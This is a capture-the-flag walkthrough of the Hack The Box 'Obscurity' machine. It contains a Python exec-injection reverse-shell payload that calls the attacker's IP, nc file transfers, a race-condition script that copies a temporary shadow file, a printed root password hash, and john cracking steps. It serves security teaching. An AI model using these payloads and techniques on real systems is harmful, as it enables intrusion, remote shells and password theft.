We pick Obscurity from the list:

obscurity_list

Foothold

We start with a usual nmap scan:

nmap -sS -T4 -p- -Pn -A 10.10.10.168

Output:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-26 15:20 EST
Nmap scan report for 10.10.10.168
Host is up (0.12s latency).
Not shown: 65531 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sun, 26 Jan 2020 20:27:28
|     Server: BadHTTPServer
|     Last-Modified: Sun, 26 Jan 2020 20:27:28
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|     <div class="sk-spinner sk-spinner-wordpress">
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sun, 26 Jan 2020 20:27:29
|     Server: BadHTTPServer
|     Last-Modified: Sun, 26 Jan 2020 20:27:29
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=1/26%Time=5E2DF607%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Sun,\x2026\x20Jan\x2020
SF:20\x2020:27:28\nServer:\x20BadHTTPServer\nLast-Modified:\x20Sun,\x2026\
SF:x20Jan\x202020\x2020:27:28\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Sun,\x2026\x20Jan\x202020\x2020:27:29\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Sun,\x2026\x20Jan\x202020\x2020:27:29\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
Aggressive OS guesses: Linux 3.2 - 4.9 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.18 (92%), Linux 3.16 (91%), Oracle VM Server 3.4.2 (Linux 4.1) (91%), Crestron XPanel control system (91%), Android 4.1.1 (91%), Adtran 424RG FTTH gateway (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   114.94 ms 10.10.14.1
2   115.04 ms 10.10.10.168

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 389.13 seconds

Right away we see there is a website running on port 8080 with an unknown or custom web server.

Navigating to it in a web browser shows us a fairly empty site:

But as we scroll down we can see some interesting clues.

This one particularly shows us a possible location for source code:

Since we know the file name but not the directory we could fuzz the directory name:

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
obscurity-wfuzz

We can see the directory is found: /develop/.

Let’s download the code and run it locally to see if we can find any vulnerabilities without disrupting the live server.

wget http://10.10.10.168:8080/develop/SuperSecureServer.py

From looking at the code, we can set the server to our local IP, set a port and a default document location (I created a folder: /root/hackthebox/obscurity/)

s = Server("10.10.XX.XX",8080)
Server.serveDoc(s, "/","/root/hackthebox/obscurity/")
Server.listen(s)

Then at the top we can add our own print test.

Edit and save the file.

Setup some dummy error files:

mkdir errors/
touch errors/{404.html,500.html}

And create a dummy default page:

echo "<html><head><head><body><h1>Test</h1></body></html>" > index.html

Then run the script:

python3 SuperSecureServer.py

In a browser, we can now see it is working.

obscurity-test

After some testing and troubleshooting we can see that it is vulnerable to remote code injection.

I setup a simple test using the code from lines 138 and 139:

info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?

I created a new file and entered the test code for injection to follow it along. This was the final test:

#!/usr/bin/python

path = "test';print(\'a\');'"

info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?

When we save and run the code, we can see our print value of a gets through.

add debug code:

print("EXEC: ", info.format(path))

Rerun the server.

We can see if we add this to our path: /index.html';print("a");' we get the value of a to print.

We can get our reverse shell handler ready and send our payload on the live server.

msfconsole
use exploit/multi/handler
set payload linux/x86/shell/reverse_tcp
set LHOST 10.10.XX.XX
run

Then send a reverse shell:

/index.html';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
obscurity-shell

Once connected we can upgrade our shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

User

After looking around we found our user is Robert. We are luckily able to go into the user’s folder but are unable to open the user flag yet. From checking the folder itself however we notice a custom encryption script.

These files once again give us a hint at its usage.

obscurity-usage
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!

So we can assume this file was used for the InFile argument.

Since we will want to play around and reverse engineer this we can transfer files over to our local machine using nc.

First, in Terminal on our local machine setup a file listener:

nc -lvp 444 > SuperSecureCrypt.py

Then back at the remote machine start the transfer:

nc 10.10.XX.XX 444 < SuperSecureCrypt.py

Repeat for the rest of the files, local commands:

nc -lvp 444 > passwordreminder.txt
nc -lvp 444 > out.txt
nc -lvp 444 > check.txt

Remote commands:

nc 10.10.XX.XX 444 < passwordreminder.txt
nc 10.10.XX.XX 444 < out.txt
nc 10.10.XX.XX 444 < check.txt

Opening up the SuperSecureCrypt.py file when you strip out the validation we end up with two functions, one for encrypt and one for decrypt. They are so similar and could have been merged into one function with an input check.

The main difference between the code is when it encrypts:

newChr = chr((newChr + ord(keyChr)) % 255)

And when it decrypts:

newChr = chr((newChr - ord(keyChr)) % 255)

Notice the plus and minus between the two.

The chr() function in python converts an integer into its character from Unicode.

🔗 https://www.utf8-chartable.de/unicode-utf8-table.pl?utf8=dec

This can be tested simply with:

python3 -c 'print(chr(190))'
¾

To break it down more I made a condensed version with many print() functions to help us follow what is happening.

We’ll create a new file:

vi testcrypt.py

We’ll create the variable for our text from check.txt and a dummy key of abcd then print them out and show the key length of our key just as the script does.

x = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"
 print("input file text: " + str(x))
 key = "abcd"
 print("key: " + str(key))
 keylen = len(key)
 print("keylen: " + str(keylen))

Then make our consolidated function that checks whether it is encrypting or decrypting.

def tocrypt(etype, char):
    crypted = ""
    keyPos = 0
    for t in char:
        keyChr = key[keyPos]
        newChr = ord(t)
        if("e" in etype):
            newChr = chr((newChr + ord(keyChr)) % 255)
        if("d" in etype):
            newChr = chr((newChr - ord(keyChr)) % 255)
        crypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return crypted

I added a bunch of print() functions along each step to help show the process along the way:

def tocrypt(etype, char):
    crypted = ""
    keyPos = 0
    for t in char:
        keyChr = key[keyPos]
        print("keyChr = key[keyPos]: " + keyChr)
        print("ord(keyChr): " + str(ord(keyChr)))
        newChr = ord(t)
        print("t: " + str(t))
        print("newChr ord(t) " + str(newChr))
        if("e" in etype):
            newChr = chr((newChr + ord(keyChr)) % 255)
            print("newChr = chr((newChr + ord(keyChr)) % 255): " + str(newChr))
        if("d" in etype):
            newChr = chr((newChr - ord(keyChr)) % 255)
            print("newChr = chr((newChr - ord(keyChr)) % 255): " + str(newChr))
        crypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
        print("keyPos % keylen: " + str(keyPos))
    return crypted

Then finally call the function to encrypt and also to decrypt to make sure we get the initial value back:

setChar = tocrypt("e", x)
print("encrypted: " + setChar)

getChar = tocrypt("d", setChar)
print("decrypted: " + getChar)

We can save and exit with :wq.

Then run the script:

python3 testcrypt.py
obscurity-testcrypt

From our output we can see that it cycles through each character from the text variable and loops through the length of the key multiple times. The good thing here is that it doesn’t seem to matter how long the key is since we don’t know it. We can count how many times it loops by adding a counter to our function:

...
def tocrypt(etype, char):
    counter = 0
    crypted = ""
    keyPos = 0
    for t in char:
...
        counter = counter + 1
    print("counter:" + str(counter))
    return crypted
...

And running it again.

obscurity-loop

Notice how the first newChr output is the same character as our encrypted message: ¦ . This tells us that our key most likely starts with an a. We also have the print out for the Unicode values. Using the one line encryption, the letter a and the letter E from the text file we can test the math.

python3 -c 'uni=97+69;print(chr(uni))'
¦

If we take the next character of the out.txt file we use the ord() function to get its Unicode integer value:

python3 -c 'uni="Ú";print(ord(uni))'
218

Then take the second character of the check.txt file:

python3 -c 'uni="n";print(ord(uni))'
110

If we apply the same math to decrypt we can see if we can get the next key character:

python3 -c 'uni=218-110;print(chr(uni))'
l

Assuming this is right we can script this to open each file, find the Unicode integer value, reverse encryption, then print out the key.

vi testunicodes.py

We can set a counter, the full number of characters, and some arrays for the check.txt and out.txt:

# Number of characters from check.txt
full = 91

# Counter
count = 0

# Arrays
charlist = []
unilist = []

password = ""

# Loop through the file and get the Unicode integer value
# and append to an array then return.
def loopfiles(filename):
    arraylist = []
    with open(filename,'r', encoding='UTF-8') as e:
        check = e.readline()
        for l in check:
            cl = ord(l)
            arraylist.append(cl)
        return arraylist

# Collect array of integers
charlist = loopfiles("check.txt")
unilist = loopfiles("out.txt")

# Subtract each value from each array.
for uni in unilist:
    word = uni - charlist[count]
    password += chr(word)
    count += 1

print(password)

We can save and exit with :wq.

Then run:

python3 testunicodes.py
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

Okay, well. Since we didn’t know the length of the key but know that once it loops through the key length it just repeats we can assume our key is: alexandrovich.

Let’s try it out:

python3 SuperSecureCrypt.py -i check.txt -o out.txt -k alexandrovich

Okay great. We can also test the decrypt method as well. (I tested it with on the remote server with temp files.)

obscurity-check

We can see if we can sign in as Robert now:

su robert

Nope.

Okay.

Well, there was that other file we copied over but never used: passwordreminder.txt

What if we change our script to use this file instead of the out.txt:

...
unilist = loopfiles("passwordreminder.txt")
...

Then save and run:

python3 testunicodes.py
oceZPpeXcCW

This doesn’t work either.

Instead of using the check.txt we can try the previous key file and hope it’s used for something:

echo 'alexandrovich' > key.txt

Then update the script once again:

...
charlist = loopfiles("key.txt")
...

When we run again we get something that is readable:

python3 testunicodes.py
obscurity-password

Back at the remote machine, trying Robert’s password with this still doesn’t work. I thought the a seemed a bit out of place so I removed it and gave it a try as SecThruObsFTW.

obscurity-user-login

Privilege Escalation

Running sudo -l gives us a list of things we can run as sudo and without a password:

obscurity-sudo-l
/usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

We don’t however have access to overwrite it with a shell with the same name:

ls -lha /home/robert/BetterSSH/BetterSSH.py

Getting the jist of the script it seems to prompt for a system’s username and password:

obscurity-password-prompt

Validate with the /etc/shadow file:

obscurity-etc-shadow

Then create an ssh session:

obscurity-ssh

A vulnerable part of this script seems to be when it validates the credentials it creates a copy of the the shadow file to the /tmp/SSH/ with a random filename. Then immediately deletes regardless if correct or not.

This gives us a race condition to grab the contents of the file while it exists.

We can create a simple script with a while loop that keeps checking if anything exists in the folder, once it does to copy its contents to a new file:

vi racefile.py
#!/usr/bin/python

import os
import subprocess

path = "/tmp/SSH/"


while len(os.listdir('/tmp/SSH/')) == 0:
    for filename in os.listdir(path):
        os.system('cat ' + path + filename + " > /tmp/output.txt")
print("Directory is not empty!")
print("!!! Check /tmp/output.txt !!!")

We can copy it over:

python -m SimpleHTTPServer 999

Then on the remote machine:

wget http://10.10.XX.XX:999/racefile.py

Create the directory and run the script:

mkdir /tmp/SSH/
python3 /tmp/racefile.py

Background our session so it can run but pressing Ctrl+Z and selecting Y.

Then run the multi-handler again:

run
obscurity-background-session

Reload the webpage where we sent our first reverse shell.

Upgrade the shell and switch to Robert:

python3 -c 'import pty; pty.spawn("/bin/bash")'
su robert
SecThruObsFTW

Then run the BetterSSH.py script:

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Enter anything as username and password.

Background session again.

Then switch to the first session:

sessions -i 1
obscurity-race
cat /tmp/output.txt
obscurity-output

Let’s clean the output up a bit and put them in a file to crack:

root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:18226:0:99999:7:::

Then attempt to crack the password:

john --wordlist=/usr/share/wordlists/rockyou.txt rootpassword.txt

Great. We do end up getting a password. With that we can now sign in as root.

Back at our remote session we can switch to root:

su -

Then get the root flag:

cat /root/root.txt